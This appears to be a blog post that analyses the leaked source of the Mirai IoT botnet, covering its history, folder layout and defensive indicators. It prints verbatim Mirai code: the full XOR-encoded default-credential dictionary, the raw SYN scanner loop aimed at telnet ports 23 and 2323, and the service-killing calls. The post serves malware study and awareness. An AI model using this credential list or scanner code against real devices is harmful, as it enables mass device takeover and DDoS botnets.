Post

Curiosities about Mirai Malware

Collaboration with

João Vitor Borba “Borb4”

Warning

This post is not intended to encourage any illegal activity. Its purpose is to analyze the mechanisms employed by malicious attackers, serving as a cautionary measure and promoting awareness about cybersecurity. There is no intention to compromise the security of our lives (I am vehemently against any such attempts); rather, the aim is to disseminate knowledge about information technology and security. It is recommended that the content be used exclusively to enhance understanding of the subject and safeguard digital environments.

⁠”Cybersecurity is much more than a technical issue; it’s a matter of trust.” - Jim Stickley

Intro

Let’s go back to the year 2016. IoTs were booming, the power of the internet could affect our lives more directly, and everything could be connected to the internet. That’s perfect, it’s really good that everything is connected. But let’s look at this critically; the information security culture wasn’t mature yet (not that it is today). The phrase I hear most often is: Why would they hack me? I’m not even important.

Mirai, the Future

Mirai was a malware that self-propagated in a worm-like fashion, turning devices into part of a botnet. Attackers used brute-force attacks on public IPs, and if successful, infected the device, primarily targeting security cameras and other IoT devices based on Linux. The objective was to infect a wide range of IoT devices, from residential to corporate, even targeting critical infrastructures. Mirai made no distinction and sought to exploit any vulnerable device it encountered.

Mirai was responsible for a series of high-profile attacks, including the DDoS attack against the internet service provider Dyn in October 2016. This attack led to significant disruptions in online services, affecting major platforms such as Twitter, Netflix, PayPal, and many others. Furthermore, Mirai remained a persistent threat, with new variants emerging to exploit new vulnerabilities and further expand its botnet network.

  1. September 2016 – Mirai attacks Krebs on Security.
  2. October 2016 – Anna-Senpai publishes Mirai’s source code.
  3. 21st October 2016 – Mirai strikes Dyn.
  4. November 2016 – Mirai attacks several Liberian telecom companies.
  5. 30th November 2016 – Mirai attacks ISP Deutsch Telekom
  6. January 2017 – Krebs concludes the investigation. Mirai’s authors are arrested and sentenced.
  7. 2018 – OMG, Mira’s first variant, is detected in the wild.
  8. 2021 – ZHTrap and Mukashi are detected in the wild.

It’s funny, people don’t understand the impact of their online life, the power of their devices, of their virtual identity. Mirai exploited this kind of thinking. “Nobody would want to see what’s on my building’s camera.” The camera on your building is a powerful tool. For example, in terms of software, the Axis M3046-V runs firmware developed by Axis, usually based on embedded operating system technologies. This includes network protocols like TCP/IP, RTSP (Real-Time Streaming Protocol), and HTTP (Hypertext Transfer Protocol) for video transmission. Now, imagine someone who has thousands of devices like this under their control, and launches a DDoS attack.

Mirai’s malware has a grandfather and a father named Linux.DDoS.87 and Linux.DDoS.89 respectively. However, our focus today remains on Mirai, which has its source code published and has been analyzed multiple times at other times, but I like to go over things again and here the analysis will be done for dummies like me who enjoy reading a very digestible analysis ;p. The idea is not to go through each script (do that at your own risk), but to give an overview.

The post

In October 2016, shortly after one of the first DDoS attacks by the Mirai botnet, the source code was made available by a user on a forum claiming to be the author (Anna-Senpai). They mentioned they did it because they had made their money and their botnet was losing a significant number of zombies, so they would do the “favor” of releasing the code to the public. They made some taunts towards the folks at malwaremustdie, saying they didn’t do a good reverse (earned my respect for the boldness, hahahah). So today, let’s review the code that was made available.

Note: In case you want to check the original post, I’ll leave a link at the end.

The best language combination

For building the malware, two languages were used: C for the bots (zombies) and Go for the Command and Control (C&C) platform. I found the choice of languages quite appropriate since C provides greater freedom to the developer due to its low-level nature. Meanwhile, Go shines for its concurrency and memory management, which makes it easier to manage thousands of connections from the bots.

Folder Structure

If you’re like me, you probably enjoy evaluating the project by its file architecture. Folder names and scripts often tell more than the code itself. So, let’s try to dissect the file architecture:

1
2
3
4
5
6
7
8
9
10
.
├── dlr -> The download folder, where the bot is downloaded based on system architecture
│   
├── loader -> This directory seems to contain the malware's loader component. The loader is responsible for loading and executing the Mirai bot after download.
│   └── src
│       └── headers
├── mirai -> This directory seems to contain the main components of the Mirai bot. This includes subdirectories such as "bot" for the Mirai bot source code, "cnc" for the command and control server source code, and "tools" for any auxiliary tools related to Mirai.
│   ├── bot
│   ├── cnc
│   └── tools

With this, we can anticipate what to expect in the scripts within each directory.

Multiplication and Invasion

The question that remains is: How are the devices infected? How do the bots reproduce? What’s the tactic, what’s the big exploit that no one could imagine? Well, it’s nothing incredible, not a firmware zero-day or anything like that; the malware simply takes advantage of people’s innocence and irresponsibility. The bots themselves infect other devices, performing a large-scale IP scan, looking for devices with default or commonly known usernames and passwords (e.g., admin/admin). It’s a dictionary-based brute-force attack, and the dictionary provided is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456
    add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321
    add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support
    add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none)
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345
    add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none)
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111
    add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123
    add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
    add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service
    add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
    add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
    add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1);              // 666666   666666
    add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1);              // 888888   888888
    add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1);                              // ubnt     ubnt
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1);                  // root     klv1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1);                      // root     Zte521
    add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1);                      // root     hi3518
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1);                          // root     jvbzd
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4);                              // root     anko
    add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1);                          // root     zlxx.
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root     7ujMko0vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root     7ujMko0admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1);                      // root     system
    add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1);                              // root     ikwb
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1);              // root     dreambox
    add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1);                              // root     user
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1);                  // root     realtek
    add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1);              // root     00000000
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1);              // admin    1111111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1);                      // admin    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1);                      // admin    54321
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1);                  // admin    123456
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin    7ujMko0admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1);                          // admin    pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1);                  // admin    meinsm
    add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1);                              // tech     tech
    add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);              // mother   fucker

You can find it within the script scanner.c.

Moreover, before this brute-force attack, it performs an IP scan. Here’s the code snippet that does that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// Spew out SYN to try and get a response
if (fake_time != last_spew)
{
    last_spew = fake_time;

    for (i = 0; i < SCANNER_RAW_PPS; i++)
    {
        struct sockaddr_in paddr = {0};
        struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
        struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

        iph->id = rand_next();
        iph->saddr = LOCAL_ADDR;
        iph->daddr = get_random_ip(); // Here is where the random IP address is obtained
        iph->check = 0;
        iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

        if (i % 10 == 0)
        {
            tcph->dest = htons(2323); // Destination port is set here (2323)
        }
        else
        {
            tcph->dest = htons(23); // Destination port is set here (23)
        }
        tcph->seq = iph->daddr;
        tcph->check = 0;
        tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));

        paddr.sin_family = AF_INET;
        paddr.sin_addr.s_addr = iph->daddr;
        paddr.sin_port = tcph->dest;

        sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
    }
}

The code performs scanning on two different ports: 23 (Telnet) and 2323 (a common alternative port for Telnet). The endpoint where login attempts are made is specified within the main loop of the scanner_init function. Depending on certain conditions, such as the number of SYN packets sent, the destination port of the packets may be alternated between 23 and 2323.

They know their limits

Indeed, creators of malware may be reckless, but not to that extent. We can see that the scanned IPs have a lock that prevents some IPs belonging to the famous DoD, among other institutions that could cause bigger problems. Everything is funny until attacking the DoD.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

A Territorial Predator

“Another interesting thing about Mirai is its “territorial” nature. The malware holds several killer scripts meant to eradicate other worms and Trojans, as well as prohibiting remote connection attempts of the hijacked device.

For example, the following scripts close all processes that use SSH, Telnet and HTTP ports:

1
2
3
killer_kill_by_port(htons(23))  // Kill telnet service
killer_kill_by_port(htons(22))  // Kill SSH service
killer_kill_by_port(htons(80))  // Kill HTTP service

IoC

SHA1 Hashes:

  • Linux.Mirai: 7e0e07d19b9c57149e72a7ed266e0c8aa5019a6f
  • Linux.DDoS.89 (Mirai’s father): 846b2d1b091704bb5a90a1752cafe5545588caa6
  • Linux.DDoS.87 (Mirai’s grandfather):
    • c129e2a23abe826f808725a0724f12470502a3cc (x86)
    • 8fd0d16edf270c453c5b6b2481d0a044a410c7cd (ARM)
    • 9ff383309ad63da2caa9580d7d85abeece9b13a0 (ARM)

Overview:

Linux.Mirai:

The transformation to the Linux.Mirai family marked a significant change in the cyber threat landscape. Mirai not only inherited the capabilities of its predecessors but also introduced new features such as a more modular architecture, support for a wider range of processor architectures, and a more sophisticated command and control infrastructure. Additionally, Mirai was designed to infect a wide range of IoT devices, from surveillance cameras to smart thermostats, thereby increasing the potential size of the botnets it could create. It also utilizes HTTP flooding.

Linux.DDoS.89 (Mirai’s father):

This variant inherits traits from its predecessor but with enhancements.

Linux.DDoS.87 (Mirai’s grandfather):

This version is the earliest known ancestor of the Mirai family.

Resource Utilization Analysis:

  • Unusual Behavior: Watch for anomalous behavior on IoT devices, such as sudden spikes in CPU or network usage, which may indicate infection.

  • Default Credentials: Monitor login attempts using default usernames and passwords commonly exploited by Mirai. Examples include “root” with passwords like “admin,” “1234,” or “password.”

  • Scanning Activity: Look for unusually high levels of scanning activity on ports associated with vulnerable IoT devices, such as Telnet (TCP port 23) and SSH (TCP port 22).

Sources

https://st.drweb.com/static/new-www/news/2016/september/Investigation_of_Linux.Mirai_Trojan_family_en.pdf https://heimdalsecurity.com/blog/mirai-botnet-phenomenon/ https://www.imperva.com/blog/malware-analysis-mirai-ddos-botnet/ https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/ https://github.com/jgamblin/Mirai-Source-Code

This post is licensed under CC BY 4.0 by the author.